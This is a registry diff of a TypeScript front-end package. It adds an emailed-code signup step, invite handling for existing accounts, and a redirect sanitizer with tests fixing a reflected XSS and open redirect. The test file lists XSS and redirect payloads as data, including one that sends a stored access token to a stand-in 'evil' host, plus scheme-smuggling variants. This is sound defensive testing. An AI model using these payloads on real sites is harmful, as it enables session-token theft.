@tribe-nest/forge 2.2.0 → 3.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -52,51 +52,102 @@ export function SignupForm({ onSuccess, loginHref, membershipTierId, couponCode
52
52
 
53
53
  return (
54
54
  <div style={card}>
55
- <h1 style={{ fontSize: 24, fontWeight: 700, marginBottom: 24 }}>Create your account</h1>
55
+ <h1 style={{ fontSize: 24, fontWeight: 700, marginBottom: 24 }}>
56
+ {form.awaitingCode ? "Check your email" : "Create your account"}
57
+ </h1>
56
58
  {form.error && <p style={{ color: "#ef4444", marginBottom: 16 }}>{form.error}</p>}
57
59
  <form
58
60
  onSubmit={(e) => {
59
61
  e.preventDefault();
60
- form.submit();
62
+ // Signup is two steps: create, then redeem the emailed code.
63
+ if (form.awaitingCode) form.submitCode();
64
+ else form.submit();
61
65
  }}
62
66
  style={{ display: "flex", flexDirection: "column", gap: 16 }}
63
67
  >
64
- <div style={{ display: "flex", gap: 12 }}>
65
- {field(
66
- "First name",
67
- <input value={form.firstName} onChange={(e) => form.setFirstName(e.target.value)} style={input} placeholder="First name" />,
68
- )}
69
- {field(
70
- "Last name",
71
- <input value={form.lastName} onChange={(e) => form.setLastName(e.target.value)} style={input} placeholder="Last name" />,
72
- )}
73
- </div>
74
- {field(
75
- "Email",
76
- <input type="email" value={form.email} onChange={(e) => form.setEmail(e.target.value)} style={input} placeholder="Email" />,
68
+ {form.awaitingCode ? (
69
+ <>
70
+ <p style={{ fontSize: 14, margin: 0 }}>
71
+ We emailed a 6-digit code to <strong>{form.email}</strong>. Enter it to finish creating your account.
72
+ </p>
73
+ {field(
74
+ "Verification code",
75
+ <input
76
+ inputMode="numeric"
77
+ autoComplete="one-time-code"
78
+ value={form.code}
79
+ onChange={(e) => form.setCode(e.target.value)}
80
+ style={input}
81
+ placeholder="123456"
82
+ />,
83
+ )}
84
+ </>
85
+ ) : (
86
+ <>
87
+ <div style={{ display: "flex", gap: 12 }}>
88
+ {field(
89
+ "First name",
90
+ <input
91
+ value={form.firstName}
92
+ onChange={(e) => form.setFirstName(e.target.value)}
93
+ style={input}
94
+ placeholder="First name"
95
+ />,
96
+ )}
97
+ {field(
98
+ "Last name",
99
+ <input
100
+ value={form.lastName}
101
+ onChange={(e) => form.setLastName(e.target.value)}
102
+ style={input}
103
+ placeholder="Last name"
104
+ />,
105
+ )}
106
+ </div>
107
+ {field(
108
+ "Email",
109
+ <input
110
+ type="email"
111
+ value={form.email}
112
+ onChange={(e) => form.setEmail(e.target.value)}
113
+ style={input}
114
+ placeholder="Email"
115
+ />,
116
+ )}
117
+ {field(
118
+ "Password",
119
+ <input
120
+ type="password"
121
+ value={form.password}
122
+ onChange={(e) => form.setPassword(e.target.value)}
123
+ style={input}
124
+ placeholder="At least 8 characters"
125
+ />,
126
+ )}
127
+ <label style={{ display: "flex", alignItems: "center", gap: 8, fontSize: 13 }}>
128
+ <input
129
+ type="checkbox"
130
+ checked={form.acceptedTerms}
131
+ onChange={(e) => form.setAcceptedTerms(e.target.checked)}
132
+ style={{ accentColor: theme.colors.primary }}
133
+ />
134
+ I accept the Terms and Privacy Policy
135
+ </label>
136
+ </>
77
137
  )}
78
- {field(
79
- "Password",
80
- <input
81
- type="password"
82
- value={form.password}
83
- onChange={(e) => form.setPassword(e.target.value)}
84
- style={input}
85
- placeholder="At least 8 characters"
86
- />,
87
- )}
88
- <label style={{ display: "flex", alignItems: "center", gap: 8, fontSize: 13 }}>
89
- <input
90
- type="checkbox"
91
- checked={form.acceptedTerms}
92
- onChange={(e) => form.setAcceptedTerms(e.target.checked)}
93
- style={{ accentColor: theme.colors.primary }}
94
- />
95
- I accept the Terms and Privacy Policy
96
- </label>
97
138
  <button type="submit" disabled={form.isSubmitting} style={button}>
98
- {form.isSubmitting ? "Creating account…" : "Sign up"}
139
+ {form.isSubmitting ? "Working…" : form.awaitingCode ? "Verify and continue" : "Sign up"}
99
140
  </button>
141
+ {form.awaitingCode && (
142
+ <button
143
+ type="button"
144
+ onClick={() => form.resendCode()}
145
+ disabled={form.isSubmitting}
146
+ style={{ background: "none", border: "none", color: theme.colors.primary, cursor: "pointer", fontSize: 13 }}
147
+ >
148
+ Resend code
149
+ </button>
150
+ )}
100
151
  </form>
101
152
  <p style={{ marginTop: 16, fontSize: 14, textAlign: "center" }}>
102
153
  Already have an account?{" "}
@@ -3,6 +3,7 @@ import { CheckCircle2, FolderOpen } from "lucide-react";
3
3
  import { useForgeTheme } from "../../theme/ForgeThemeProvider";
4
4
  import { usePublicAuth } from "../../../contexts/PublicAuthContext";
5
5
  import { ACCESS_TOKEN_KEY } from "../../../contexts/PublicAuthContext";
6
+ import { PUBLIC_REFRESH_TOKEN_KEY } from "../../../client/tokenStorage";
6
7
  import { Loading } from "../Loading";
7
8
  import { useAcceptWorkInvite, useWorkInvite } from "../../headless/work/useWorkPortal";
8
9
 
@@ -83,7 +84,12 @@ export function WorkInviteAccept({
83
84
  gap: 8,
84
85
  };
85
86
  const link: React.CSSProperties = { color: theme.colors.primary, textDecoration: "underline" };
86
- const eyebrow: React.CSSProperties = { fontSize: 13, color: theme.colors.primary, fontWeight: 700, letterSpacing: 0.3 };
87
+ const eyebrow: React.CSSProperties = {
88
+ fontSize: 13,
89
+ color: theme.colors.primary,
90
+ fontWeight: 700,
91
+ letterSpacing: 0.3,
92
+ };
87
93
  const heading: React.CSSProperties = { fontSize: 22, fontWeight: 800, margin: "6px 0 14px" };
88
94
  const sub: React.CSSProperties = { fontSize: 14, color: `${theme.colors.text}b3`, marginBottom: 22 };
89
95
 
@@ -152,6 +158,42 @@ export function WorkInviteAccept({
152
158
  );
153
159
  }
154
160
 
161
+ /**
162
+ * The invited address already has a TribeNest account (C10). An invite grants
163
+ * portal ACCESS; it is not a credential reset for an account whose owner
164
+ * never asked for one — so there is no password form here, only a sign-in
165
+ * link. Accepting still runs, to consume the invite and link the contact.
166
+ */
167
+ if (invite.requiresExistingLogin) {
168
+ return (
169
+ <div style={card} data-testid="work-invite-accept">
170
+ {header}
171
+ <p style={sub}>
172
+ <strong>{invite.email}</strong> already has an account. Sign in and the project will be waiting for you.
173
+ </p>
174
+ <button
175
+ type="button"
176
+ style={button}
177
+ disabled={submitting}
178
+ data-testid="work-invite-signin"
179
+ onClick={async () => {
180
+ setSubmitting(true);
181
+ try {
182
+ // Consumes the invite and links the contact; returns no session.
183
+ await acceptInvite.mutateAsync({ token, projectId, password: "" });
184
+ } catch {
185
+ // Non-fatal: an already-consumed invite still leaves them able to
186
+ // sign in, which is the whole instruction on this screen.
187
+ }
188
+ window.location.assign(loginHref);
189
+ }}
190
+ >
191
+ Go to sign in
192
+ </button>
193
+ </div>
194
+ );
195
+ }
196
+
155
197
  const onAccept = async (e: React.FormEvent) => {
156
198
  e.preventDefault();
157
199
  setError("");
@@ -166,9 +208,16 @@ export function WorkInviteAccept({
166
208
  setSubmitting(true);
167
209
  try {
168
210
  const result = await acceptInvite.mutateAsync({ token, projectId, password });
169
- // Persist the fresh portal session and hard-navigate so the auth context
170
- // re-initializes as the invited client, then lands on the project.
211
+ if (result.requiresLogin || !result.token) {
212
+ // The address turned out to already have an account — no session is
213
+ // issued for it (C10). Send them to sign in.
214
+ window.location.assign(loginHref);
215
+ return;
216
+ }
217
+ // Persist the fresh portal session (access + rotating refresh token) and
218
+ // hard-navigate so the auth context re-initializes as the invited client.
171
219
  localStorage.setItem(ACCESS_TOKEN_KEY, result.token);
220
+ if (result.refreshToken) localStorage.setItem(PUBLIC_REFRESH_TOKEN_KEY, result.refreshToken);
172
221
  window.location.assign(projectHref);
173
222
  } catch (err) {
174
223
  setError(msg(err) || "Something went wrong. Please try again.");
@@ -182,8 +231,8 @@ export function WorkInviteAccept({
182
231
  <p style={sub}>
183
232
  {isAuthenticated && currentEmail && currentEmail !== invitedEmail ? (
184
233
  <>
185
- You're signed in as <strong>{user?.email}</strong>, but this invite is for{" "}
186
- <strong>{invite.email}</strong>. Set a password to continue as {invite.email}.
234
+ You're signed in as <strong>{user?.email}</strong>, but this invite is for <strong>{invite.email}</strong>.
235
+ Set a password to continue as {invite.email}.
187
236
  </>
188
237
  ) : (
189
238
  <>
@@ -0,0 +1,117 @@
1
+ import { describe, expect, it } from "vitest";
2
+ import { safeRedirectPath } from "../safeRedirect";
3
+
4
+ /**
5
+ * C13 — reflected `javascript:` XSS and open redirect on every tenant member
6
+ * portal.
7
+ *
8
+ * `?redirect=` went straight to `window.location.href` in the platform-owned
9
+ * login/signup templates, so the payload fired after a LEGITIMATE login on the
10
+ * artist's real domain — and the stolen fan token was not profile-scoped, so it
11
+ * worked against every other artist too.
12
+ *
13
+ * The guard is an allowlist (same-origin root-relative path only), so these
14
+ * specs are mostly about proving the allowlist can't be talked around.
15
+ */
16
+ describe("safeRedirectPath (C13)", () => {
17
+ const FALLBACK = "/i/account";
18
+
19
+ describe("rejects script-executing schemes", () => {
20
+ const PAYLOADS = [
21
+ // The audit's exact payload.
22
+ "javascript:fetch('//evil/'+localStorage.getItem('public-access-token'))",
23
+ "JavaScript:alert(1)",
24
+ "JAVASCRIPT:alert(1)",
25
+ " javascript:alert(1)",
26
+ "data:text/html,<script>alert(1)</script>",
27
+ "vbscript:msgbox(1)",
28
+ "file:///etc/passwd",
29
+ // Control characters browsers strip while parsing the scheme.
30
+ "java\tscript:alert(1)",
31
+ "java\nscript:alert(1)",
32
+ "java\rscript:alert(1)",
33
+ "\u0000javascript:alert(1)",
34
+ "\u0001javascript:alert(1)",
35
+ ];
36
+
37
+ it.each(PAYLOADS)("refuses %j", (payload) => {
38
+ expect(safeRedirectPath(payload)).toBe(FALLBACK);
39
+ });
40
+ });
41
+
42
+ describe("rejects off-site targets", () => {
43
+ const PAYLOADS = [
44
+ "https://evil.example",
45
+ "http://evil.example/path",
46
+ "//evil.example",
47
+ "//evil.example/path",
48
+ "/\\evil.example",
49
+ "/\\\\evil.example",
50
+ "\\\\evil.example",
51
+ "evil.example",
52
+ "https://artist.tribenest.co.evil.example",
53
+ ];
54
+
55
+ it.each(PAYLOADS)("refuses %j", (payload) => {
56
+ expect(safeRedirectPath(payload)).toBe(FALLBACK);
57
+ });
58
+ });
59
+
60
+ describe("rejects anything that is not a string", () => {
61
+ it.each([undefined, null, 42, {}, [], true])("refuses %j", (value) => {
62
+ expect(safeRedirectPath(value)).toBe(FALLBACK);
63
+ });
64
+
65
+ it("refuses an empty or whitespace-only value", () => {
66
+ expect(safeRedirectPath("")).toBe(FALLBACK);
67
+ expect(safeRedirectPath(" ")).toBe(FALLBACK);
68
+ expect(safeRedirectPath("\t\n")).toBe(FALLBACK);
69
+ });
70
+ });
71
+
72
+ describe("keeps legitimate in-app destinations", () => {
73
+ it.each([
74
+ "/i/account",
75
+ "/i/members",
76
+ "/i/courses/123",
77
+ "/i/checkout?step=2",
78
+ "/i/orders?status=paid&page=3",
79
+ "/i/members#section",
80
+ "/",
81
+ // A path that merely CONTAINS a scheme-looking segment is still a path.
82
+ "/i/redirect?to=https%3A%2F%2Fexample.com",
83
+ ])("keeps %j", (path) => {
84
+ expect(safeRedirectPath(path)).toBe(path);
85
+ });
86
+
87
+ it("honours a caller-supplied fallback", () => {
88
+ expect(safeRedirectPath("javascript:alert(1)", "/i/home")).toBe("/i/home");
89
+ expect(safeRedirectPath("/i/real")).toBe("/i/real");
90
+ });
91
+ });
92
+
93
+ it("never returns a value that could execute or leave the origin", () => {
94
+ // Property-style backstop: whatever comes out is either the fallback or a
95
+ // root-relative path, for every input above and a few fuzzed ones.
96
+ const inputs = [
97
+ "javascript:alert(1)",
98
+ "//evil",
99
+ "/ok",
100
+ "/",
101
+ " /ok ",
102
+ " //evil",
103
+ "/\\evil",
104
+ "data:,x",
105
+ "?just=query",
106
+ "#hash",
107
+ ];
108
+ for (const input of inputs) {
109
+ const out = safeRedirectPath(input);
110
+ expect(out.startsWith("/")).toBe(true);
111
+ expect(out.startsWith("//")).toBe(false);
112
+ expect(out.startsWith("/\\")).toBe(false);
113
+ expect(out.toLowerCase()).not.toContain("javascript:");
114
+ expect(out.toLowerCase()).not.toContain("data:");
115
+ }
116
+ });
117
+ });
@@ -0,0 +1,41 @@
1
+ /**
2
+ * Sanitize a `?redirect=` target before navigating to it (C13).
3
+ *
4
+ * The login and signup templates assigned the raw query parameter to
5
+ * `window.location.href`. Two bugs in one line:
6
+ *
7
+ * - **Reflected XSS.** A `javascript:` target executes on the artist's REAL
8
+ * domain, after a genuine successful login — so it steals a live member
9
+ * token from a page the visitor has every reason to trust.
10
+ * - **Open redirect.** An absolute URL sends a just-authenticated fan
11
+ * off-site with the artist's domain as the referrer.
12
+ *
13
+ * The rule is deliberately strict: a same-origin ROOT-RELATIVE path, nothing
14
+ * else. Not "block javascript:" — a scheme denylist loses to tab/newline
15
+ * smuggling, `data:`, `vbscript:`, and whatever the next parser quirk turns out
16
+ * to be. Anything that fails falls back to `fallback`, so a mangled link still
17
+ * lands the user somewhere sensible instead of erroring.
18
+ *
19
+ * Rejected: absolute URLs, scheme-relative (`//evil.example`), the backslash
20
+ * variant (`/\\evil.example`, which browsers normalize to `//`), control
21
+ * characters used to smuggle a scheme past a naive check, and anything not
22
+ * starting with `/`.
23
+ */
24
+ export const safeRedirectPath = (value: unknown, fallback = "/i/account"): string => {
25
+ if (typeof value !== "string") return fallback;
26
+
27
+ // Strip characters browsers ignore when parsing a URL scheme: a tab or
28
+ // newline inside "java<TAB>script:" is dropped before the scheme is read.
29
+ const cleaned = value.replace(/[\u0000-\u0020]/g, "").trim();
30
+ if (!cleaned) return fallback;
31
+
32
+ // Must be root-relative. This single check rejects `javascript:`, `data:`,
33
+ // `https://evil` and a bare `evil.example` in one go.
34
+ if (!cleaned.startsWith("/")) return fallback;
35
+
36
+ // `//host` and `/\host` are protocol-relative — off-site despite the leading
37
+ // slash.
38
+ if (cleaned.startsWith("//") || cleaned.startsWith("/\\")) return fallback;
39
+
40
+ return cleaned;
41
+ };